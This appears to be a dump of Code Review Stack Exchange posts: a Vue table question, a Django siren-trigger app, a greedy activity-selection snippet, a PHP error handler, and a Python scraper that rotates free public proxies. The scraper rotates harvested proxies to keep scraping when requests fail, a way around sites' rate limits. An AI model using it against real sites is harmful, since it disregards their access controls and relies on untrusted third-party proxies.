"CreationDate": "2019-06-20T14:06:19.473",
"Id": "431046",
"Score": "1",
"body": "Nice answer, however it an off-topic question. Please don't answer off-topic questions as it promotes behavior we don't want. To discourage you from doing this again I've _downvoted_ this. Otherwise if you posted answers like this to on-topic questions it'd be a happy upvote :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T15:40:32.017",
"Id": "431065",
"Score": "0",
"body": "Oh, ok @Peilonrayz. Well, at least, I'll know for the next one I might answer"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T12:57:51.660",
"Id": "222636",
"ParentId": "222634",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "222636",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T12:35:49.350",
"Id": "222634",
"Score": "-4",
"Tags": [
"python",
"python-3.x",
"error-handling"
],
"Title": "What is wrong with my 'except' code here?"
} | 222634 |
<p>I have a website where my users can create "table-like" layout dynamically. So imagine that my users can upload a text document, and then append columns to the document, and the output will then be parsed into a table-like layout.</p>
<p>For example:</p>
<pre><code>My text document Date: 20-06-2019 Created by: OJN
Content Nice Document Very!
Content Indeed!
Even more!
</code></pre>
<p>Now imagine that this is a word document for example, and my users have defined two columns on above (right between each block of text). This would output:</p>
<pre><code>{
"1":[
{
"row":"My text document"
},
{
"row":"Content"
},
{
"row":"Content"
}
],
"2":[
{
"row":"Date: 20-06-2019"
},
{
"row":"Nice Document"
},
{
"row": "Indeed!"
},
{
"row": "Even more!"
}
],
"3":[
{
"row":"Created by: OJN"
},
{
"row":"Very!"
}
]
}
</code></pre>
<p>As you can see, this will ultimately generate three array objects with unequal elements.</p>
<pre><code>0: Array(3)
1: Array(4)
2: Array(2)
</code></pre>
<p>Now when presenting this for the user in the frontend, I wish to show the parsed text content in a table, like: this</p>
<pre><code><table border="1">
<tbody>
<tr v-for="(row, index) in dataTable" :key="index">
<td v-for="(cell, index) in row" :key="index">
<span v-if="cell">{{cell["row"]}}</span>
</td>
</tr>
</tbody>
</table>
</code></pre>
<p>However, as said, the arrays are of unequal length - so if I "just" transpose them, it will not generate the desired output. Instead, in above example, it will only create <strong>3</strong> rows in my table, because the first array contains 3 elements.</p>
<p>So in order to overcome this, I check the arrays to find the largest one:</p>
<pre><code>// Transform object in array of its values
let data = Object.values(content);
let colsLength = data.map(r => r.length);
let maxNumCols = Math.max.apply(Math, colsLength);
let recordArraySchema = Array.apply(null, Array(maxNumCols)).map((r, i) => i);
this.dataTable = recordArraySchema.map((col, i) => data.map(row => row[i]));
</code></pre>
<p>This way, the array transposing will transpose all "rows", and fill the "empty"/non-existing will null, resulting in a full table.</p>
<p>I was wondering if this approach is acceptable in terms of performance and readability? I do have the option to change the JSON string format all together on the backend if that is more appropriate. However, I do have other backend functions that relies on the current schema, so those would have to be updated as well.</p>
| [] | [
{
"body": "<p>The first thing I noticed is that the format of the data is a collection of columns with rows. The variable <code>maxNumCols</code> seems mis-leading. A more appropriate name for that variable would be <code>maxNumRows</code> because it describes how many rows are needed.</p>\n\n<p>In terms of reducing the transformations needed, one option to consider is finding the maximum number of rows in a column and using that with <a href=\"https://vuejs.org/v2/guide/list.html#v-for-with-a-Range\" rel=\"nofollow noreferrer\"><code>v-for</code> _with a Range</a> to determine how many rows to add. Then looping over the <code>content</code> would eliminate the need to create <code>recordArraySchema</code> and <code>dataTable</code> - which would reduce the complexity from <span class=\"math-container\">\\$O(n^2)\\$</span> to just <span class=\"math-container\">\\$O(n)\\$</span>. </p>\n\n<pre><code><table border=\"1\">\n <tbody>\n <tr v-for=\"r in maxNumRows\">\n <td v-for=\"(column, index) in content\" :key=\"index\">\n <span v-if=\"column[r - 1]\">{{column[r - 1].row}}</span>\n </td>\n </tr>\n </tbody>\n</table>\n</code></pre>\n\n<p>Obviously this would require saving <code>maxNumRows</code> in the <code>data</code> collection. </p>\n\n<p>Instead of using <code>Function.apply()</code> the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax\" rel=\"nofollow noreferrer\">spread syntax</a> can be used to determine the maximum number of rows.</p>\n\n<pre><code>const rowLengths = data.map(r => r.length);\nthis.maxNumRows = Math.max(...rowLengths);\n</code></pre>\n\n<p>And instead of using <code>let</code> for variables that are only assigned once, it is wise to use <code>const</code> and then if it is determined that it needs to be re-assigned, use <code>let</code>. This helps avoid accidental re-assignment.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-20T20:38:56.273",
"Id": "229403",
"ParentId": "222638",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T13:57:22.950",
"Id": "222638",
"Score": "2",
"Tags": [
"javascript",
"json",
"ecmascript-6",
"iterator",
"vue.js"
],
"Title": "Rendering JSON arrays of unequal length as a table"
} | 222638 |
<p><strong>Web-app summary:</strong></p>
<p>I'm a complete beginner in web development and I made a sample web application that can trigger sirens on security cameras located in remote locations. Here's the functionality seen by the user:</p>
<ol>
<li>Go to website and brought to a landing page with a search bar.</li>
<li>Type in the name of a location.</li>
<li>Be shown all the cameras in that location, and next to each camera is a button to trigger its siren.</li>
<li>There is also a button that triggers all the sirens in that location.</li>
</ol>
<p><strong>Searching for a location:</strong></p>
<p>When the user searches for a location, the back-end routes this query to a function called <code>search_by_jobsite(jobsite)</code>. This function establishes a connection with a third-party API and queries a mock database on Zoho.com. The results are processed and then returned to the server to be shown on the front-end.</p>
<p><strong>Triggering a siren:</strong></p>
<p>This is honestly extremely simple. When the button is pressed, the request on the back-end is routed to a function called <code>pulse_siren(camera_name)</code> that just makes a simple HTTP get request to a camera's static IP address.</p>
<p><strong>My thoughts:</strong></p>
<p>After making this web-app I realized that Django was absolutely overkill since I don't even have a local database. I'm essentially just using Django as a web-server and routing. Next time I should use something like Flask, but i'm interested in how I can improve my existing code. When making this project I was primarily focused on actually getting this thing up and running and then optimizing. I feel like my <code>views.py</code> file should be turned into most class-based-views (as they're called in Django), and I read a lot up on this but I wasn't exactly sure the best way to implement this.</p>
<p><strong>I'm mostly concerned with cleaning up my <code>views.py</code> file and optimizing it for speed since it takes maybe a second to make the API call.</strong></p>
<hr>
<p><strong>What the user sees:</strong></p>
<p><a href="https://i.stack.imgur.com/4zq7n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4zq7n.png" alt="Search results page"></a></p>
<hr>
<p><strong>views.py</strong></p>
<pre class="lang-py prettyprint-override"><code>## views.py - this is where all the back-end processing happens for a user's request
from django.shortcuts import render, redirect
from django.http import JsonResponse
from django.core.exceptions import ObjectDoesNotExist
from .models import CameraSystem, CameraModel, ControlByWeb, JobSite
from django.core import serializers
from django.conf import settings
from django.contrib import messages
from .pulse_siren import pulse_siren
import json, ast, requests
from zcrmsdk import ZCRMRecord, ZCRMRestClient, ZCRMModule, ZCRMException
def siren_search(request):
# Define the term in the search
term = request.GET.get('query', '').strip()
context = {'term': term}
# Handle the AJAX search
if 'query' in request.GET and request.is_ajax():
try:
cameras = CameraSystem.objects.filter(site__name__icontains=term)
json_response = serializers.serialize('json', cameras, fields=(
'asset_name', 'site',), use_natural_foreign_keys=True, use_natural_primary_keys=True)
parsed = json.loads(json_response)
print(json.dumps(parsed, indent=4, sort_keys=True))
except ObjectDoesNotExist:
return JsonResponse({'success': False}, status=400)
return JsonResponse(json_response, safe=False, status=200)
# Handle when the user presses enter
elif 'query' in request.GET and term != '' and not request.is_ajax():
try:
# Get the list of cameras at the desired jobsite
deployed = search_by_jobsite(term)
# Sort the list so they show up in HTML as: PANTHER1, PANTHER2, PANTHER3, ..., etc.
context = {
'cameras': sorted(deployed, key=lambda camera: camera['site_id']),
'term': term
}
# Catch any error that the Zoho API might output
except ZCRMException as error:
print(error) # TODO
pass
return render(request, 'siren_search.html', context)
# Handle when the user presses a siren button for just one camera
elif 'pulse-siren' in request.GET:
# Get the current url so the we can show the same search results after they press the button
redirect_url = request.GET.get('current-url')
asset_name = request.GET.get('pulse-siren').upper()
# Pulse the siren on the desired camera, and for anything that happens add a message to the redirect
try:
response = pulse_siren(asset_name)
response.raise_for_status()
messages.add_message(request, messages.INFO, f"Successful for {asset_name}.")
except requests.exceptions.HTTPError as error:
if response.status_code == 401:
errorString = f'Looks like {asset_name} is online, but the system was not able to log in.'
messages.add_message(request, messages.INFO, errorString)
else:
errorString = f'HTTP error for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.ConnectionError as error:
errorString = f'The system failed to connect for {asset_name}. Check to see if the unit is online. If it is, then then the system may have used a wrong username/password.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.Timeout as error:
errorString = f'Timeout error for {asset_name}: the system tried to connect for three seconds but failed.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.RequestException as error:
errorString = f'Oops, something weird happened for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
return redirect(redirect_url)
# Handle when the user wants to trigger all sirens
elif 'pulse-all-sirens' in request.GET:
# Get the cameras and the redirecut url
redirect_url = request.GET.get('current-url')
camera_json = request.GET.get('pulse-all-sirens')
camera_list = ast.literal_eval(camera_json) # for some reason json.loads() doesn't work, so use literal_eval ()
# Pulse the siren for each camera on the search results page
for camera in camera_list:
asset_name = camera['asset_name']
# Pulse the siren on the desired camera, and for anything that happens add a message to the redirect
try:
response = pulse_siren(asset_name)
response.raise_for_status()
messages.add_message(request, messages.INFO, f"Successful for {asset_name}.")
except requests.exceptions.HTTPError as error:
errorString = f'HTTP error for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.ConnectionError as error:
errorString = f'The system failed to connect for {asset_name}: Check to see if the unit is online, but the system may have used a wrong username/password.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.Timeout as error:
errorString = f'Timeout error for {asset_name}: The system tried to connect for three seconds but failed.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.RequestException as error:
errorString = f'Oops, something weird happened for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
return redirect(redirect_url)
else:
return render(request, 'siren_search.html', context)
def search_by_jobsite(jobsite):
# 'IP': camera['Static_IP'],
# Initialize the API client and search for cameras with a jobsite that matches the search
jobsite = jobsite.upper() # This must be in uppercase because the sites on ZOHO are all uppercase
config = settings.ZOHO_CONFIG
client = ZCRMRestClient.initialize(config)
all_cameras = ZCRMModule.get_instance('Vendors').search_records(f'{jobsite}')
# Iterate over each returned camera
deployed_cameras = []
for camera_record in all_cameras.data:
# Get some properties from the camera to filter results
camera = camera_record.field_data
status = camera['Status'].lower()
camera_type = camera['Type'].lower()
site = camera['Site']['name'].upper()
# Only get the cameras that are deployed at the jobsite of type 'raptor'
if site == jobsite and camera_type == 'raptor':
# Get properties if they exist
asset_name = camera.get('Vendor_Name', 'None')
site_id = camera.get('Multiple_Assets', 'None')
# If the properties exist, style them
if asset_name is not 'None':
asset_name = asset_name.upper()
if site_id is not 'None':
site_id = site_id.upper()
# Append this camera's dictionary to the list of deployed cameras
temp_dictionary = {'asset_name': asset_name, 'site_id': site_id, 'site': site.capitalize()}
deployed_cameras.append(temp_dictionary.copy())
return deployed_cameras
def pulse_siren(asset_name):
# Configure the url for the desired camera
camera_url = 'http://' + asset_name.lower() + settings.CAMERA_URL + settings.PULSE_SIREN_HALF_SECOND
# Pulse the siren on the desired camera
username = settings.RAPTOR_AUTHENTICATION['username']
password = settings.RAPTOR_AUTHENTICATION['password']
pulseSiren = requests.get(camera_url, auth=(username, password), timeout = 3)
return pulseSiren
def get_camera_state(asset_name):
# Configure the url for the desired camera
camera_url = 'http://' + asset_name.lower() + settings.CAMERA_URL + 'state.xml'
# Connect to the camera's interface and grab its state
username = settings.RAPTOR_AUTHENTICATION['username']
password = settings.RAPTOR_AUTHENTICATION['password']
camera_state = requests.get(camera_url, auth=(username, password))
data = xmltodict.parse(camera_state.text)
</code></pre>
<p><strong>siren_search.html</strong></p>
<pre class="lang-html prettyprint-override"><code><!-- siren_search.html -->
{% extends "base.html" %}
{% load static %}
{% block page_title %} Siren System {% endblock %}
{% block page_content %}
<!-- Search section -->
<div class="container">
<div class="row">
<div id="search-title" class="col-xl-6 col-md-7 col-sm-8 col-8 mx-auto">
<h3>Siren system</h3>
</div>
</div>
<div class="row">
<div class="col-xl-6 col-md-7 col-sm-8 col-8 mx-auto">
<form id="searchform" action="{% url 'camera_search:siren_search' %}" method="GET">
<div class="input-group">
<input id="searchbar" name="query" autocomplete="on" onkeyup=getCameras(this.value) placeholder="Search for the name of a jobsite." class="form-control" type="search" />
</div>
</form>
</div>
</div>
<!-- Show the trigger all button if there's cameras, or show no results -->
<div class="row">
<div id="trigger-all-and-no-results" class="col-xl-6 col-md-7 col-sm-8 col-8 mx-auto">
{% if cameras %}
<form id="trigger-all-form" action="{% url 'camera_search:siren_search' %}" method="GET">
<input type="hidden" name="current-url" value="{{ request.get_full_path }}">
<button id="trigger-all-btn" name="pulse-all-sirens" type="submit" class="btn btn-lg btn-block btn-outline-danger btn-space js-trigger-all-sirens-btn" value="{{ cameras }}">Trigger
all sirens</button>
</form>
{% else %} {% if term != '' %}
<div id="no-results-text" class="alert alert-info text-center my-auto" role="alert">No cameras were found for {{ term }}</div>
{% endif %} {% endif %}
</div>
</div>
<!-- Show the cameras that were found in the search -->
{% if cameras %}
<div class="row">
<div class="col-xl-8 col-md-9 col-sm-10 col-10 mx-auto">
<table class="table table-responsive-sm table-hover table-borderless mx-auto">
<thead>
<tr class="header">
<th scope="col" style="width:30%;">Site ID</th>
<th scope="col" style="width:25%;">Job Site</th>
<th scope="col" style="width:25%;">Asset Name</th>
<th scope="col" style="width:20%;"></th>
</tr>
</thead>
<tbody>
{% for camera in cameras %}
<tr>
<td class="align-middle">{{ camera.site_id }}</td>
<td class="align-middle">{{ camera.site }}</td>
<td class="align-middle">{{ camera.asset_name }}</td>
<td class="align-middle">
<form id="{{ camera.asset_name }}-siren-form" action="{% url 'camera_search:siren_search' %}" method="GET">
<input type="hidden" name="current-url" value="{{ request.get_full_path }}">
<button type="submit" name="pulse-siren" id="{{ camera.asset_name }}-siren-btn" name="button-big-submit" class="btn btn-outline-primary float-right js-single-trigger-btn" onclick="" value="{{ camera.asset_name }}">{% if camera.site_id != 'None' %}{{ camera.site_id }}{% else %}{{ camera.asset_name }}{% endif %}</button>
</form>
</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
{% endif %}
<!-- This is a WIP, this was just here so I can practice getting the messages from the server to the front-end -->
{% if messages %}
<ul class="messages">
{% for message in messages %}
<li{% if message.tags %} class="{{ message.tags }}" {% endif %}>{{ message }}</li>
{% endfor %}
</ul>
{% else %}
<!-- show success -->
{% endif %}
</div>
{% endblock %}
{% block javascript %}
<script type="text/javascript" src="{% static 'js/search.js' %}"></script>
{% endblock %}
</code></pre>
<p><strong>root/app/urls.py</strong></p>
<pre class="lang-py prettyprint-override"><code>## root/app/urls.py
# The app's urls file. Users get routed from the main urls.py file to here.
# This could be improved by having different buttons route to different urls.
from django.urls import path, re_path
from . import views
app_name = 'camera_search'
urlpatterns = [
path('', views.siren_search, name = 'siren_search'),
]
</code></pre>
<p><strong>root/urls.py</strong></p>
<pre class="lang-py prettyprint-override"><code>## root/urls.py
# This is the main urls file that handles incoming traffic to the website.
from django.contrib import admin
from django.urls import path, include
from django.views.generic.base import RedirectView
urlpatterns = [
path('admin/', admin.site.urls),
path('siren-search/', include('camera_search.urls', namespace = 'camera_search')),
path('', RedirectView.as_view(pattern_name = 'camera_search:siren_search', permanent=False)),
]
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T13:57:39.680",
"Id": "222639",
"Score": "2",
"Tags": [
"python",
"beginner",
"django"
],
"Title": "Web app that triggers sirens on cameras in remote locations"
} | 222639 |
<p>I've done this activity selection piece of code, which is a greedy approach. I need some feedback/suggestions.</p>
<hr>
<pre><code># Python 3
import random
import operator
begin = [random.randint(1, 10) for i in range(10)]
end = [x + random.randint(1, 4) for x in begin]
pair = sorted(list(zip(begin, end)), key=operator.itemgetter(1))
ls = list()
ls.append(pair[0])
for i in pair[1:]:
if i[0] >= ls[-1][1]:
ls.append(i)
print(ls, '>>>', len(ls), 'out of', len(pair), 'activities.')
</code></pre>
| [] | [
{
"body": "<h1>Code readability and style -</h1>\n\n<hr>\n\n<p>I believe that good code should have good style and should be more readable and concise.</p>\n\n<hr>\n\n<p>Let's introduce you to <a href=\"https://realpython.com/python-f-strings/\" rel=\"nofollow noreferrer\"><em><code>f</code></em>-strings</a> -</p>\n\n<blockquote>\n <p><em>To create an f-string, prefix the string with the letter</em> “ <em><code>f</code></em> ”.\n <em>The string itself can be formatted in much the same way that you would\n with\n <a href=\"https://www.geeksforgeeks.org/python-format-function/\" rel=\"nofollow noreferrer\"><strong><code>str.format()</code></strong></a>.</em>\n <em><code>f</code></em>-<em>strings</em> <em>provide a concise and convenient way to embed python\n expressions inside string literals for formatting.</em></p>\n</blockquote>\n\n<p>Which means, instead of using the outdated way of formatting strings -</p>\n\n<blockquote>\n<pre><code>print(ls, '>>>', len(ls), 'out of', len(pair), 'activities.')\n</code></pre>\n</blockquote>\n\n<p>You could make it more concise -</p>\n\n<pre><code>print(f'{ls} >>> {len(ls)} out of {len(pair)} activities.')\n</code></pre>\n\n<p><strong>NOTE</strong> - Requires <a href=\"https://www.python.org/downloads/\" rel=\"nofollow noreferrer\">Python 3.6 and above</a>.</p>\n\n<p>If you don't have Python 3.6 and above, you could use <a href=\"https://www.geeksforgeeks.org/python-format-function/\" rel=\"nofollow noreferrer\"><em><code>str.format()</code></em></a> -</p>\n\n<blockquote>\n <p><strong><em><code>str.format()</code></em></strong> is one of the string formatting methods in Python 3, which\n allows multiple substitutions and value formatting. This method lets\n us concatenate elements within a string through positional formatting.</p>\n</blockquote>\n\n<p>So you could write it like this -</p>\n\n<pre><code>print('{} >>> {} out of {} activities.'.format(ls, len(ls), len(pair)))\n</code></pre>\n\n<hr>\n\n<p>I would also put your code into a <a href=\"https://www.tutorialspoint.com/python/python_functions.htm\" rel=\"nofollow noreferrer\">function</a> -</p>\n\n<blockquote>\n <p><em>A function is a block of organized, reusable code that is used to\n perform a single, related action. Functions provide better modularity\n for your application and a high degree of code reusing.</em></p>\n \n <p><em>As you already know, Python gives you many built-in functions like\n <code>print()</code>, etc. but you can also create your own functions. These\n functions are called user-defined functions.</em></p>\n</blockquote>\n\n<p>With this as the function name -</p>\n\n<pre><code>def activity_selection():\n</code></pre>\n\n<hr>\n\n<p>You should also consider using an <a href=\"https://www.geeksforgeeks.org/what-does-the-if-__name__-__main__-do/\" rel=\"nofollow noreferrer\"><code>if __name__ == '__main__':</code></a> guard, like this -</p>\n\n<pre><code>if __name__ == '__main__':\n activity_selection()\n</code></pre>\n\n<hr>\n\n<p>Your variables should be more descriptive -</p>\n\n<blockquote>\n<pre><code>ls = list()\n</code></pre>\n</blockquote>\n\n<p>could be -</p>\n\n<pre><code>activity_list = list() \n</code></pre>\n\n<hr>\n\n<p>So, overall, your code would then look like this (in terms of code readability and style) -</p>\n\n<pre><code>import random\nimport operator\n\ndef activity_selection():\n begin = [random.randint(1, 10) for i in range(10)]\n end = [x + random.randint(1, 4) for x in begin]\n pair = sorted(list(zip(begin, end)), key=operator.itemgetter(1))\n activity_list = list()\n activity_list.append(pair[0])\n for i in pair[1:]:\n if i[0] >= activity_list[-1][1]:\n activity_list.append(i)\n print(f'{activity_list} >>> {len(activity_list)} out of {len(pair)} activities.')\n # or\n # print('{} >>> {} out of {} activities.'.format(activity_list, len(activity_list), len(pair)))\n\nif __name__ == '__main__':\n activity_selection()\n</code></pre>\n\n<hr>\n\n<p>To remain concise and immaculate in writing Python programs, I suggest you have a look at <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\"><em>PEP 8</em></a>, which is Python's official style guide.</p>\n\n<p>Hope this helps!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T16:53:05.453",
"Id": "431072",
"Score": "1",
"body": "sometimes I have a Déjà vu reading some of your answers :p"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T17:02:33.957",
"Id": "431073",
"Score": "1",
"body": "@dfhwze - They all need to use f-strings. No one uses them. So I just copy-paste stuff from my other answers (for ease of writing answers) :) That's fine right?"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T15:24:51.260",
"Id": "222648",
"ParentId": "222647",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T15:18:41.563",
"Id": "222647",
"Score": "3",
"Tags": [
"python",
"algorithm",
"python-3.x"
],
"Title": "Python - Activity Selection - Greedy Algorithm"
} | 222647 |
<p>I've created a script in python to make proxied requests by picking working proxies from a list of proxies scraped from a free proxy site. The bot traverses few links to parse the urls of the different posts from a website. The script however uses a new working proxy every time it makes a new requests as there are multiple requests to make. </p>
<p>At this point I've rectified the logic within my script in such a way so that the script will first check whether the existing proxy is still working in making new requests. If it is still a working proxy then the script should stick to it otherwise It will pick a random one from the list to go on.</p>
<p>The logic to reuse the same working proxy in multiple requests (until it is invalid) is defined within this <code>start_script()</code> function.</p>
<p>The script eventually has got a weird look. I suppose there are rooms for improvement to make it more concise and less verbose.</p>
<p>This is what I've created so far (working one):</p>
<pre><code>import random
import requests
from random import choice
from bs4 import BeautifulSoup
from urllib.parse import urljoin
test_url = 'https://stackoverflow.com/' #It is for testing proxied requests
base_url = 'https://stackoverflow.com'
main_urls = ['https://stackoverflow.com/questions/tagged/web-scraping?sort=newest&page={}&pagesize=50'.format(page) for page in range(2,5)]
cbool = False
usable_proxy = None
def get_proxies():
response = requests.get("https://www.sslproxies.org/")
soup = BeautifulSoup(response.text,"lxml")
proxies = [':'.join([item.select_one("td").text,item.select_one("td:nth-of-type(2)").text]) for item in soup.select("table.table tr") if "yes" in item.text]
return proxies
def get_random_proxy(proxy_vault):
while proxy_vault:
print("trying to get one----")
random.shuffle(proxy_vault)
proxy_url = proxy_vault.pop()
proxy_dict = {
'http': proxy_url,
'https': proxy_url
}
try:
res = requests.get(test_url, proxies=proxy_dict, timeout=10)
res.raise_for_status()
return proxy_url
except:
continue
def start_script(url):
global cbool
global usable_proxy
if not cbool:
proxy = get_proxies()
random_proxy = get_random_proxy(proxy)
if random_proxy:
usable_proxy = {'https': f'http://{random_proxy}'}
urls = make_requests(url,usable_proxy)
cbool = True
return urls
else:
return start_script(url)
else:
urls = make_requests(url,usable_proxy)
if urls:
return urls
else:
cbool = False
def make_requests(url,proxy):
try:
res = requests.get(url, proxies=proxy, timeout=10)
except Exception:
return start_script(url)
print("proxy used in requests:",proxy)
if res.status_code!=200:
return start_script(url)
soup = BeautifulSoup(res.text, "lxml")
return [urljoin(base_url,item.get("href")) for item in soup.select(".summary .question-hyperlink")]
if __name__ == '__main__':
for url in main_urls:
print(start_script(url))
</code></pre>
| [] | [
{
"body": "<ul>\n<li><p>Do not recurse if the iterative solution is readily available. In Python it is particularly very important: Python does not optimize tail recursion, and there is a serious chance to hit the stack limit.</p>\n\n<p>For example, <code>make_request</code> should look like</p>\n\n<pre><code>while True:\n try:\n res = requests.get(url, proxies=proxy, timeout=10)\n except Exception:\n continue\n print(\"proxy used in requests:\",proxy)\n if res.status_code!=200:\n continue\n soup = BeautifulSoup(res.text, \"lxml\")\n return [urljoin(base_url,item.get(\"href\")) for item in soup.select(\".summary .question-hyperlink\")]\n</code></pre>\n\n<p>Similarly, <code>start_script</code> shall also be converted into a loop. As a side benefit, there would be no need for the very alarming <code>usable_proxy</code> and <code>cbool</code> globals.</p></li>\n<li><p>You shall not blindly retry on <code>res.status_code!=200</code>. Some status codes (e.g. a 400 family) guarantee that you will get the same error over and over again, resulting in the infinite loop.</p>\n\n<p>Ditto for exceptions.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T19:00:23.163",
"Id": "431084",
"Score": "0",
"body": "Thanks for your invaluable suggestions @vnp. I'm not quite sure if you expected this function `start_script()` to be like ***[this](https://pastebin.com/Kzkny6K0)***. If this is what you meant then the function will definitely create new proxies to suppy within each new requests whereas my intention is to use the same working proxy until it gets invalid like the way my existing script is working. Thanks again."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:01:43.020",
"Id": "222651",
"ParentId": "222649",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T16:31:43.383",
"Id": "222649",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"web-scraping",
"proxy"
],
"Title": "Sticking to a working proxy generated by a rotating proxy script"
} | 222649 |
<p>I set up an error handler class to handle all server errors, I know there are already quite a few out there, but I like creating my own for better learning and understanding of how things work.
I am currently using this in a framework I am working on (again, for learning purposes), and its working as it should.</p>
<p>With this error handler you can:</p>
<ol>
<li>Choose if to log the error</li>
<li>Choose the file to log it to</li>
<li>Send the error to an email if enabled</li>
<li>Add a custom error page</li>
<li>Set a custom general error message if no error page is set</li>
</ol>
<p>The way it works and is set up is like this:</p>
<ol>
<li>You set up your app settings:</li>
</ol>
<pre><code>
/* App settings
===============================================*/
//App name
define("APP_NAME", "Test App");
//App url
define("APP_URL", "https://testapp.com");
//Support email
define("APP_SUPPORT_EMAIL", "support@testapp.com");
/* Error handling settings (used in ErrorHandler.php)
===============================================*/
//Set debug mode
define("DEBUG_MODE", true);
//Log errors
define("LOG_ERRORS", true);
//Send error reports to email
define("SEND_ERROR_EMAILS", true);
//Email to send the error reports to
define("ERROR_REPORTING_EMAIL", "security@testapp.com");
//Path to the error log file
define("ERROR_LOG_PATH", $_SERVER['DOCUMENT_ROOT']."/../logs/error_log.log");
//Path to the "500" error page
define("ERROR_PAGE_PATH", $_SERVER['DOCUMENT_ROOT']."/../framework/defaults/pages/error500.php");
//Default error message (if no error page is set or found)
define("PUBLIC_ERROR_MESSAGE", "Looks like there was an error. We are already looking in to it!");
</code></pre>
<p>Then you either load the error handler with an auto loader, or load it directly (how ever the developer chooses to do it), and then you set the error handler to be the default one with:
<code>set_error_handler(array(new ErrorHandler(), 'handleError'));</code></p>
<p>And for the actual error handler class:</p>
<pre><code><?
class ErrorHandler{
//Set default class properties
private $debugMode = false;
private $logErrors = false;
private $sendEmail = false;
private $securityEmail = null;
private $publicErrorMessage = "Looks like there was an error. We are already looking in to it!";
private $appName = null;
private $appSupportEmail = null;
/* Constructor - Sets up the class settings
===========================================*/
public function __construct(){
//Update class properties from defined constants if they are set
$this->debugMode = (defined('DEBUG_MODE')?DEBUG_MODE:$this->debugMode);
$this->logErrors = (defined('LOG_ERRORS')?LOG_ERRORS:$this->logErrors);
$this->sendEmail = (defined('SEND_ERROR_EMAILS')?SEND_ERROR_EMAILS:$this->sendEmail);
$this->securityEmail = (defined('ERROR_REPORTING_EMAIL')&&filter_var(ERROR_REPORTING_EMAIL, FILTER_VALIDATE_EMAIL)?ERROR_REPORTING_EMAIL:$this->securityEmail);
$this->publicErrorMessage = (defined('PUBLIC_ERROR_MESSAGE')?PUBLIC_ERROR_MESSAGE:$this->publicErrorMessage);
$this->appName = (defined('APP_NAME')?APP_NAME:$this->appName);
$this->appSupportEmail = (defined('APP_SUPPORT_EMAIL')&&filter_var(APP_SUPPORT_EMAIL, FILTER_VALIDATE_EMAIL)?APP_SUPPORT_EMAIL:$this->appSupportEmail);
//Create new class properties from defined constants if they are set
$this->errorLogPath = (defined('ERROR_LOG_PATH')?ERROR_LOG_PATH:$_SERVER['DOCUMENT_ROOT']."/../logs/error_log.log");
$this->errorPagePath = (defined('ERROR_PAGE_PATH')?ERROR_PAGE_PATH:$_SERVER['DOCUMENT_ROOT']."/../framework/defaults/pages/error500.php");
}
/* Handle error
===========================================*/
public function handleError($errno, $errstr, $errfile=false, $errline=false){
//Save the error data
$this->errno = $errno;
$this->errstr = $errstr;
$this->errfile = $errfile;
$this->errline = $errline;
//Get the acutal file this error occurred in
$link_array = explode('/',$this->errfile);
$this->failedOnFile = end($link_array);
//If logging errors is enabled
if($this->logErrors){
$this->saveToLog();
}
//If email reporting is enabled
if($this->sendEmail && $this->securityEmail){
$this->sendToEmail();
}
//Load the error page
$this->loadErrorPage();
}
/* Save the error to a log
===========================================*/
private function saveToLog(){
//Get the error string
$errorString = $this->getErrorString();
//Save the error to the log
error_log($errorString,3,$this->errorLogPath);
}
/* Send the error to the set email
===========================================*/
private function sendToEmail(){
//Get the error string
$errorString = $this->getErrorString(true);
//Set the email headers
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= "From: ".$this->appName." Security <".$this->securityEmail.">\r\n";
$headers .= "Reply-To: ".$this->securityEmail."" . "\r\n";
//Send the email
@mail($this->securityEmail, "An error has occured", $errorString, $headers);
}
/* Load the error page
===========================================*/
private function loadErrorPage(){
//If there is no error page path or the file doesnt exist, output a message
if(!$this->errorPagePath || !file_exists($this->errorPagePath)){
//Output a general error message
echo $this->publicErrorMessage;
//If debug mode is enabled, output the error
if($this->debugMode){
echo "<BR><BR>";
echo $this->getErrorString(true);
}
